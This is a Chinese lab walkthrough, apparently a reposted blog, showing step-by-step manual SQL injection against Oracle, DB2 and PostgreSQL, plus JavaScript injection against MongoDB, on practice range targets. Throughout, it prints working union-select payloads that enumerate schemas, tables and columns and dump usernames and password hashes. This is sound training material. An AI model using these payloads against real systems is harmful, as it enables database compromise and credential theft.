墨者学院数据库靶场
Oracle手工注入第一步
跟其它数据库一样,检测注入点都是可以通过拼接 and 语句进行判断。
?id=1 and 1=1
?id=1 and 1=2
https://i-blog.csdnimg.cn/img_convert/481387295d1fcc538085e4457c59a86f.png
回显正常
https://i-blog.csdnimg.cn/img_convert/c2a69d54a7117b338a8f1f305fb5276d.png
回显错误,可以判断出这个靶场是数字型
第二步
判断它有多少个字段。
id=1 order by 2
id=1 order by 3
https://i-blog.csdnimg.cn/img_convert/6b161ead90eab9562b7dd3b77307656d.png
页面回显正常
https://i-blog.csdnimg.cn/img_convert/59a9baccc88f109d0cc3fc96f9e2d688.png
页面回显非常,可以判断出当前页面有两个字段。
第三步
获取页面的回显点
oracle数据库与mysql数据库差异点在于它对于字段点数据类型敏感,这时我们就不能直接union select 1,2,3来获取显错点了
如果是字符型字段我们就要使用字符型数据,数字型字段使用数字型数据才可以获取到
我们当前的两个字段都是字符型,所以我们使用字符型数据
union select 'null','null' from dual--+ 注:dual 是 oracle 数据库的伪表
https://i-blog.csdnimg.cn/img_convert/b696df3038676e0f472fb43a9ec3a9e5.png
在有些环境下也接纳 union all select的情势进行联合查询。union all select与union select的差异点可以很轻易明白为all表现输出所有,也就是当数据出现相同时,将所有数据都输出;union select则会将相同数据进行过滤,只输出其中一条。
第四步
查询当前数据库的名字
union select 'null',(select instance_name from V$INSTANCE) from dual --+
https://i-blog.csdnimg.cn/img_convert/bb9931c832d2582f6883478215f692fc.png
第五步
查询数据库的表名
查询表名一般查询admin大概user表
我们先获取第一个表名
union select 'null',(select table_name from user_tables where rownum=1) from dual--+
https://i-blog.csdnimg.cn/img_convert/855510c40f2bc12ec3be253b15c09605.png
我们得到了它的第一个表名是 LOGMNR_SESSION_EVOLVE$ ,我们接着爆破他的第二个表名
union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual--+
https://i-blog.csdnimg.cn/img_convert/8b92cfbe20adf508358c4fb5713190d3.png
得到了它的第二个表名是 LOGMNR_GLOBAL$ ,我们接着爆破他的第三个表名
union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual--+
https://i-blog.csdnimg.cn/img_convert/21058272d9653280d70f28bd5d11fa12.png
得到了它的第三个表名是 LOGMNR_GT_TAB_INCLUDE$ ,我们接着爆破他的第四个表名
union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$' and table_name not in 'LOGMNR_GT_TAB_INCLUDE$') from dual--+
https://i-blog.csdnimg.cn/img_convert/b7e92329a1e8ccfd3ff0abed54815624.png
这时我们发现页面没有变化还是第三个表名,我们就可以判断出他只有三个表
接下来我们使用模糊搜刮查询,查询带有 user 的表名
union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual--+
https://i-blog.csdnimg.cn/img_convert/90f3cd5fc8a51f9dd6b273539cd5a76e.png
就可以得到 sns_users 表名
第六步
查询数据库的列名
union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual--+
我们得到第一个列名为 USER_NAME
https://i-blog.csdnimg.cn/img_convert/676fb30956bf3e1acc7aa2a8f9df1aa4.png
这时我们接着查询第二个
union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual--+ 我们得到第二个列名为 AGENT_NAME
https://i-blog.csdnimg.cn/img_convert/64108909f1c7a48da8262672c5ff6a00.png
这时我们接着查询第三个
union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual--+ 我们得到第三个列名为 PROTOCOL
https://i-blog.csdnimg.cn/img_convert/297453bf1a68bd6d8dbf35e3fe3b7552.png
union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual--+
https://i-blog.csdnimg.cn/img_convert/3fcda786d2f296c9087a5ded413a63cb.png
第八步
查询数据库数据获取账号密码的字段内容
union select USER_NAME,USER_PWD from "sns_users" where rownum=1--+
https://i-blog.csdnimg.cn/img_convert/63760822283f685aa846ead00ab3bd29.png
union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'--+
https://i-blog.csdnimg.cn/img_convert/15b4b0bb5b4ba23825334d6919b4f9eb.png
union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'--+
https://i-blog.csdnimg.cn/img_convert/58e23c2dd9ddb4d637b9083907257e14.png
第九步
解密获取到的密码
https://i-blog.csdnimg.cn/img_convert/713963bdcf1231bf7721feb2b9f80047.png
得到 549459
https://i-blog.csdnimg.cn/img_convert/c5f1dd0dc0c3a425a3ba7c289133d0b2.png
DB2手工注入
跟其它数据库一样,检测注入点都是可以通过拼接 and 语句进行判断。
?id=1 and 1=1
?id=1 and 1=2
https://i-blog.csdnimg.cn/img_convert/481387295d1fcc538085e4457c59a86f.png
回显正常
https://i-blog.csdnimg.cn/img_convert/c2a69d54a7117b338a8f1f305fb5276d.png
回显错误,可以判断出这个靶场是数字型
第二步
判断它有多少个字段。
id=1 order by 2
id=1 order by 3
https://i-blog.csdnimg.cn/img_convert/6b161ead90eab9562b7dd3b77307656d.png
页面回显正常
https://i-blog.csdnimg.cn/img_convert/59a9baccc88f109d0cc3fc96f9e2d688.png
页面回显非常,可以判断出当前页面有两个字段。
第三步
使用联合查询注入来确认回显位
union select 1,2,3,4 from syscat.tables
https://i-blog.csdnimg.cn/img_convert/ff5844b4fd8724d52b954247748ae782.png
第四步
查看数据库名
union select 1,current schema,current server,4 from syscat.tables--+
https://i-blog.csdnimg.cn/img_convert/8841bd0d481d7723d2300771a683b9ab.png
第五步
爆表并确定表名
第一个表
union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1--+
https://i-blog.csdnimg.cn/img_convert/97305c6f4dd8b24c39bf87405c5d4ed0.png
GAME CHARACTER
第二个表
union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1--+
https://i-blog.csdnimg.cn/img_convert/bce5e75e7e70f917dfcc37b2e515b54e.png
NOTICE
第六步
爆出数据库的字段
第一个列
union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1--+
https://i-blog.csdnimg.cn/img_convert/6e3d850cf2510d7f54347e4269ed9467.png
DB2INST1
union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1--+
https://i-blog.csdnimg.cn/img_convert/a5f428278ac9a989908274176dfc3350.png
GAME_CHARACTER
第七步
爆字段值并获取其Key
第一个账号密码
union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1--+
https://i-blog.csdnimg.cn/img_convert/8c6c3007ba930ab4489e67e36cf31aea.png
1c63129ae9db9c60c3e8aa94d3e00495
第二个账号密码
union select 1,name,password,4 from GAME_CHARACTER limit 1,1--+
https://i-blog.csdnimg.cn/img_convert/06238bb9770a36aa92bd075504bbdd37.png
末了一步
解密
https://i-blog.csdnimg.cn/img_convert/56e9a09a1f2b2f1a227c72a0ebc8d8dd.png
PostGREsql手工注入
第一步
查看是否存在注入
and 1=1 //正常
and 1=2 //异常
https://i-blog.csdnimg.cn/img_convert/b7ee6892fd34e75636b2de804c35dfc5.png
第二步
爆出有几列回显
order by 4 //正常
order by 5 //异常
https://i-blog.csdnimg.cn/img_convert/bd0ac9d3efdc4afaf6d81e22f3ae13da.png
https://i-blog.csdnimg.cn/img_convert/f0d4e7409a3d7d1f0b3265330bda9fba.png
第三步
爆出回显位
and 1=2 union select 'null',null,null,null //无回显
and 1=2 union select null,'null',null,null //有回显
and 1=2 union select null,null,'null',null //有回显
and 1=2 union select null,null,null,'null' //无回显
https://i-blog.csdnimg.cn/img_convert/12cdbeb32372ea714e21308ede200f5c.png
第四步
爆出数据库
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
https://i-blog.csdnimg.cn/img_convert/d03da0dc1d87a65250b0b21236ffc8cb.png
第五步
爆出数据库下的表名
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables where schemaname='public'
and 1=2 union select null,null,string_agg(table_name,','),null from information_schema.tables where table_schema='public'
https://i-blog.csdnimg.cn/img_convert/46f037f1793ba5d3a8b073456212e2fd.png
第六步
查询字段,看到user表先查他
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
https://i-blog.csdnimg.cn/img_convert/9fc643ed0a0769fe6c910dfcad3fda4c.png
第七关
爆出数据
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
https://i-blog.csdnimg.cn/img_convert/87083f9271c6865bcf494a42feec6012.png
第八关
解密处理去登录提交
MongoDB手工注入
靶场:墨者学院
注入地点同上
第一步
给出的源码...可以看到数据库查询的语句如下..构造回显测试..
var data= db.notice.findOne({'id':'$id'});return data;
传⼊的数据是$id。注意到可以通过闭合 “({‘” 来构造payload 因为返回的数据是$obj[‘retval’][‘title’]与$obj[‘retval’][‘content’],可以尝试return({title:’1’,content:’2’})来构造回显测试
1'});return({title:'1',content:'2
https://i-blog.csdnimg.cn/img_convert/d7c661a9b190e6514b749688f17d5c7f.png
第二步
成功表现1,2现在来查询数据库
1'});return({title:tojson(db),content:'2
https://i-blog.csdnimg.cn/img_convert/e28e0142a88c85020a227bc8e2e90787.png
第三步
爆出表名
1'});return({title:tojson(db.getCollectionNames()),content:'2
https://i-blog.csdnimg.cn/img_convert/868d81242df9713eaa2d4d1494535da3.png
第四步
爆出末了的数据
1'});return({title:tojson(db.Authority_confidential.find()),content:'2
https://i-blog.csdnimg.cn/img_convert/85aa8bc3a87371c77145f997a4cdea88.png
第五步
末了我们去md5解密,登录获取key
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]